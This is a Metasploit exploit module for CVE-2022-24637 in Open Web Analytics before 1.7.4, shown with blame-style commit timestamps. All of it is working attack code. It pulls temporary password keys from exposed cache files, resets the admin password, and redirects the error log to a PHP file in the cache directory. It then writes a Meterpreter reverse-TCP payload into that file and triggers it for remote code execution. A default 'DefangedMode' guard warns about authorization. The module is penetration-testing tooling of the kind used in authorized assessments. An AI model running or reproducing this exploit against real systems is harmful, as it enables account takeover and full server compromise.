2023-03-08 21:30:52 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
2023-03-15 01:03:20 +01:00
|
|
|
include Msf::Exploit::FileDropper
|
2023-03-08 21:30:52 +01:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2023-03-14 22:10:44 +01:00
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
2023-03-08 21:30:52 +01:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Open Web Analytics 1.7.3 - Remote Code Execution (RCE)',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive
|
|
|
|
|
user information, which can be used to gain admin privileges by leveraging cache hashes.
|
|
|
|
|
This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled
|
|
|
|
|
by the PHP interpreter.
|
|
|
|
|
},
|
|
|
|
|
'Author' => [
|
|
|
|
|
'Jacob Ebben', # ExploitDB Exploit Author
|
|
|
|
|
'Dennis Pfleger' # Msf Module
|
|
|
|
|
],
|
|
|
|
|
'References' => [
|
|
|
|
|
[ 'CVE', '2022-24637'],
|
2023-03-14 22:14:16 +01:00
|
|
|
[ 'EDB', '51026'],
|
2023-03-15 18:56:23 +01:00
|
|
|
[ 'URL', 'https://devel0pment.de/?p=2494' ]
|
2023-03-08 21:30:52 +01:00
|
|
|
],
|
|
|
|
|
'Licence' => MSF_LICENSE,
|
|
|
|
|
'Platform' => ['php'],
|
|
|
|
|
'DefaultOptions' => {
|
2023-03-14 22:08:05 +01:00
|
|
|
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
|
2023-03-08 21:30:52 +01:00
|
|
|
},
|
|
|
|
|
'Targets' => [ ['Automatic', {}] ],
|
2023-03-08 21:52:13 +01:00
|
|
|
'DisclosureDate' => '2022-03-18',
|
2023-03-08 21:30:52 +01:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'Stability' => [CRASH_SAFE],
|
|
|
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
|
|
|
'SideEffects' => [
|
|
|
|
|
ARTIFACTS_ON_DISK, # /owa-data/caches/{get_random_string(8)}.php
|
|
|
|
|
IOC_IN_LOGS, # Malicious GET/POST requests in the webservice logs
|
|
|
|
|
ACCOUNT_LOCKOUTS, # Account passwords will be changed in this module
|
2023-03-14 22:16:10 +01:00
|
|
|
CONFIG_CHANGES, # Will update config files to trigger the exploit
|
2023-03-08 21:30:52 +01:00
|
|
|
]
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
register_options([
|
2023-03-14 23:29:55 +01:00
|
|
|
OptString.new('Username', [ true, 'Target username', 'admin' ]),
|
|
|
|
|
OptString.new('Password', [ true, 'Target new password', 'pwned' ]),
|
|
|
|
|
])
|
|
|
|
|
|
|
|
|
|
register_advanced_options([
|
2023-03-16 18:07:28 +01:00
|
|
|
OptInt.new('SearchLimit', [ false, 'Upper limit of user ids to check for usable cache file', 100 ]),
|
|
|
|
|
OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ])
|
2023-03-08 21:30:52 +01:00
|
|
|
])
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def check
|
2023-03-09 17:06:07 +01:00
|
|
|
res = check_connection
|
2023-03-09 15:59:42 +01:00
|
|
|
return CheckCode::Unknown('Connection failed') unless res
|
|
|
|
|
return CheckCode::Safe if !res.body.include?('Open Web Analytics')
|
2023-03-08 21:30:52 +01:00
|
|
|
|
2023-03-09 15:59:42 +01:00
|
|
|
version = Rex::Version.new(res.body.scan(/version=([\d.]+)/).flatten.first)
|
|
|
|
|
return CheckCode::Detected("Open Web Analytics #{version} detected") unless version < Rex::Version.new('1.7.4')
|
|
|
|
|
|
|
|
|
|
CheckCode::Appears("Open Web Analytics #{version} is vulnerable")
|
2023-03-08 21:30:52 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit
|
2023-03-16 18:07:28 +01:00
|
|
|
if datastore['DefangedMode']
|
|
|
|
|
warning = <<~EOF
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Are you SURE you want to execute the exploit against the target system?
|
|
|
|
|
Running this exploit will change user passwords and config files of the
|
|
|
|
|
target system.
|
|
|
|
|
|
|
|
|
|
Disable the DefangedMode option if you have authorization to proceed.
|
|
|
|
|
EOF
|
|
|
|
|
|
|
|
|
|
fail_with(Failure::BadConfig, warning)
|
|
|
|
|
end
|
|
|
|
|
|
2023-03-08 21:30:52 +01:00
|
|
|
username = datastore['Username']
|
|
|
|
|
new_password = datastore['Password']
|
|
|
|
|
|
2023-03-09 17:06:07 +01:00
|
|
|
res = check_connection
|
2023-03-08 21:30:52 +01:00
|
|
|
if res
|
2023-03-11 14:25:04 +01:00
|
|
|
print_good("Connected to #{full_uri} successfully!")
|
2023-03-08 21:30:52 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
|
'method' => 'POST',
|
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),
|
|
|
|
|
'keep_cookies' => true,
|
|
|
|
|
'vars_post' => {
|
|
|
|
|
'owa_user_id' => username,
|
2023-03-09 17:03:48 +01:00
|
|
|
'owa_password' => rand_text_alphanumeric(8),
|
2023-03-08 21:30:52 +01:00
|
|
|
'owa_action' => 'base.login'
|
|
|
|
|
}
|
|
|
|
|
)
|
2023-03-14 22:28:52 +01:00
|
|
|
if res && res.code != 200
|
2023-03-14 23:29:55 +01:00
|
|
|
fail_with(Failure::UnexpectedReply, 'An error occurred during the login attempt!')
|
2023-03-08 21:30:52 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
print_status("Attempting to find cache of '#{username}' user")
|
|
|
|
|
|
|
|
|
|
found = false
|
|
|
|
|
cache = nil
|
2023-03-14 23:29:55 +01:00
|
|
|
|
|
|
|
|
limit = datastore['SearchLimit']
|
|
|
|
|
if limit < 0
|
|
|
|
|
fail_with(Failure::BadConfig, 'SearchLimit must be set to a number > 0!')
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
limit.times do |key|
|
2023-03-08 21:30:52 +01:00
|
|
|
user_id = "user_id#{key}"
|
|
|
|
|
userid_hash = Digest::MD5.hexdigest(user_id)
|
|
|
|
|
filename = "#{userid_hash}.php"
|
|
|
|
|
cache_request = send_request_cgi(
|
|
|
|
|
'method' => 'GET',
|
|
|
|
|
'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{key}/owa_user/#{filename}")
|
|
|
|
|
)
|
2023-03-14 23:38:57 +01:00
|
|
|
if cache_request && cache_request.code == 404
|
2023-03-08 21:30:52 +01:00
|
|
|
next
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
cache_raw = cache_request.body
|
|
|
|
|
cache = get_cache_content(cache_raw)
|
|
|
|
|
cache_username = get_cache_username(cache)
|
|
|
|
|
if cache_username != username
|
2023-03-14 23:29:55 +01:00
|
|
|
print_status("The temporary password for a different user was found. \"#{cache_username}\": #{get_cache_temppass(cache)}")
|
2023-03-08 21:30:52 +01:00
|
|
|
next
|
|
|
|
|
else
|
|
|
|
|
found = true
|
|
|
|
|
break
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
if !found
|
2023-03-14 23:40:29 +01:00
|
|
|
fail_with(Failure::NotFound, "No cache found. Are you sure \"#{username}\" is a valid user?")
|
2023-03-08 21:30:52 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
cache_temppass = get_cache_temppass(cache)
|
|
|
|
|
print_good("Found temporary password for user '#{username}': #{cache_temppass}")
|
|
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
|
'method' => 'POST',
|
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.usersPasswordEntry'),
|
|
|
|
|
'keep_cookies' => true,
|
|
|
|
|
'vars_post' => {
|
|
|
|
|
'owa_password' => new_password,
|
|
|
|
|
'owa_password2' => new_password,
|
|
|
|
|
'owa_k' => cache_temppass,
|
|
|
|
|
'owa_action' => 'base.usersChangePassword'
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
|
2023-03-14 22:28:52 +01:00
|
|
|
if res && res.code != 302
|
2023-03-14 23:41:48 +01:00
|
|
|
fail_with(Failure::UnexpectedReply, 'An error occurred when changing the user password!')
|
2023-03-08 21:30:52 +01:00
|
|
|
end
|
|
|
|
|
print_good("Changed the password of '#{username}' to '#{new_password}'")
|
|
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
|
'method' => 'POST',
|
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),
|
|
|
|
|
'keep_cookies' => true,
|
|
|
|
|
'vars_post' => {
|
|
|
|
|
'owa_user_id' => username,
|
|
|
|
|
'owa_password' => new_password,
|
|
|
|
|
'owa_action' => 'base.login'
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
redirect = res['location']
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
|
'method' => 'GET',
|
|
|
|
|
'uri' => URI(redirect).path
|
|
|
|
|
)
|
|
|
|
|
if res && res.code == 200
|
|
|
|
|
print_good("Logged in as #{username} user")
|
|
|
|
|
else
|
2023-03-14 23:59:57 +01:00
|
|
|
fail_with(Failure::UnexpectedReply, "An error occurred during the login attempt of user #{username}")
|
2023-03-08 21:30:52 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
|
'method' => 'GET',
|
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral')
|
|
|
|
|
)
|
|
|
|
|
|
2023-03-09 17:03:48 +01:00
|
|
|
shell_filename = "#{rand_text_alphanumeric(8)}.php"
|
2023-03-09 16:32:28 +01:00
|
|
|
|
2023-03-08 21:30:52 +01:00
|
|
|
nonce = get_update_nonce(res)
|
2023-03-14 21:46:45 +01:00
|
|
|
log_location = 'owa-data/caches/' + shell_filename
|
2023-03-15 01:03:20 +01:00
|
|
|
register_file_for_cleanup(shell_filename)
|
2023-03-09 16:32:28 +01:00
|
|
|
|
2023-03-08 21:30:52 +01:00
|
|
|
res = send_request_cgi(
|
|
|
|
|
'method' => 'POST',
|
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),
|
|
|
|
|
'keep_cookies' => true,
|
|
|
|
|
'vars_post' => {
|
|
|
|
|
'owa_nonce' => nonce,
|
|
|
|
|
'owa_action' => 'base.optionsUpdate',
|
|
|
|
|
'owa_config[base.error_log_file]' => log_location,
|
|
|
|
|
'owa_config[base.error_log_level]' => 2
|
|
|
|
|
}
|
|
|
|
|
)
|
2023-03-14 23:59:57 +01:00
|
|
|
fail_with(Failure::Unreachable, 'An error occurred when attempting to update config!') unless res && res.code == 302
|
|
|
|
|
print_status('Creating log file')
|
2023-03-08 21:30:52 +01:00
|
|
|
|
|
|
|
|
res = send_request_cgi(
|
|
|
|
|
'method' => 'POST',
|
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),
|
|
|
|
|
'keep_cookies' => true,
|
|
|
|
|
'vars_post' => {
|
|
|
|
|
'owa_nonce' => nonce,
|
|
|
|
|
'owa_action' => 'base.optionsUpdate',
|
2023-03-11 14:47:32 +01:00
|
|
|
'owa_config[shell]' => payload.encoded + '?>'
|
2023-03-08 21:30:52 +01:00
|
|
|
}
|
|
|
|
|
)
|
2023-03-14 23:59:57 +01:00
|
|
|
fail_with(Failure::Unknown, 'An error occurred when attempting to update config!') unless res && res.code == 302
|
|
|
|
|
print_good('Wrote payload to file')
|
2023-03-08 21:30:52 +01:00
|
|
|
|
|
|
|
|
send_request_cgi(
|
|
|
|
|
'method' => 'GET',
|
2023-03-15 18:59:22 +01:00
|
|
|
'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{shell_filename}"),
|
|
|
|
|
timeout: 1
|
2023-03-08 21:30:52 +01:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
print_good('Triggering payload! Check your listener!')
|
|
|
|
|
end
|
|
|
|
|
|
2023-03-09 17:06:07 +01:00
|
|
|
def check_connection
|
2023-03-15 19:00:26 +01:00
|
|
|
send_request_cgi(
|
2023-03-09 15:41:15 +01:00
|
|
|
'method' => 'GET',
|
|
|
|
|
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm')
|
|
|
|
|
)
|
2023-03-08 21:30:52 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def get_cache_content(cache_raw)
|
2023-03-11 14:25:04 +01:00
|
|
|
regex_cache_base64 = /\*(\w*={0,2})/
|
2023-03-08 21:30:52 +01:00
|
|
|
regex_result = cache_raw.match(regex_cache_base64)
|
|
|
|
|
|
|
|
|
|
unless regex_result
|
2023-03-15 00:07:20 +01:00
|
|
|
fail_with(Failure::NotVulnerable, 'The serialized data can not be extracted from the cache file!')
|
2023-03-08 21:30:52 +01:00
|
|
|
end
|
|
|
|
|
|
2023-03-11 14:25:04 +01:00
|
|
|
Base64.decode64(regex_result[1]).force_encoding('ascii')
|
2023-03-08 21:30:52 +01:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def get_cache_username(cache)
|
|
|
|
|
match = cache.match(/"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"/)
|
2023-03-14 23:59:57 +01:00
|
|
|
|
|
|
|
|
unless match
|
|
|
|
|
fail_with(Failure::NotVulnerable, 'The username can not be extracted from the cache file!')
|
|
|
|
|
end
|
|
|
|
|
|
2023-03-08 21:30:52 +01:00
|
|
|
match[1]
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def get_cache_temppass(cache)
|
|
|
|
|
match = cache.match(/"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"/)
|
2023-03-14 23:59:57 +01:00
|
|
|
|
|
|
|
|
unless match
|
|
|
|
|
fail_with(Failure::NotVulnerable, 'The temp_passkey variable can not be extracted from the cache file!')
|
|
|
|
|
end
|
|
|
|
|
|
2023-03-08 21:30:52 +01:00
|
|
|
match[1]
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def get_update_nonce(page)
|
|
|
|
|
update_nonce = page.body.match(/owa_nonce" value="(\w*)"/)[1]
|
2023-03-14 23:59:57 +01:00
|
|
|
|
|
|
|
|
unless update_nonce
|
|
|
|
|
fail_with(Failure::NotVulnerable, 'The update_nonce variable can not be extracted from the page body!')
|
|
|
|
|
end
|
|
|
|
|
|
2023-03-08 21:30:52 +01:00
|
|
|
update_nonce
|
|
|
|
|
end
|
|
|
|
|
end
|